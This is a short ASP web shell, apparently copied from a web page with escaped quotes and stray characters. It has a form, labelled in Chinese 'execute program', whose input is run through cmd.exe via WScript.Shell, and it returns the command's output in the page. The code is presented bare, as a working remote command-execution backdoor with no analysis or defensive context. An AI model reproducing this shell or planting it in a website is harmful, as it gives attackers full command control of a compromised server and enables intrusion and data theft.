|
<%
On Error Resume Next
Set oScript = Server.CreateObject(\"WSCRIPT.SHELL\")
Set oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")
Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")
szCMD = Request.Form(\".CMD\")
If (szCMD <> \"\") Then
szTempFile = \"C:\\\" & oFileSys.GetTempName( )
Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
\'End If%>
<FORM action=\"<%= Request.ServerVariables(\"URL\") %>\" method=\"POST\">
<input type=text name=\".CMD\" size=40 value=\"<%= szCMD %>\">
<input type=submit value=\"执行程序\" > 〖请使用绝对路径,并且确定你有相应权限!〗
<% If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If %> |
|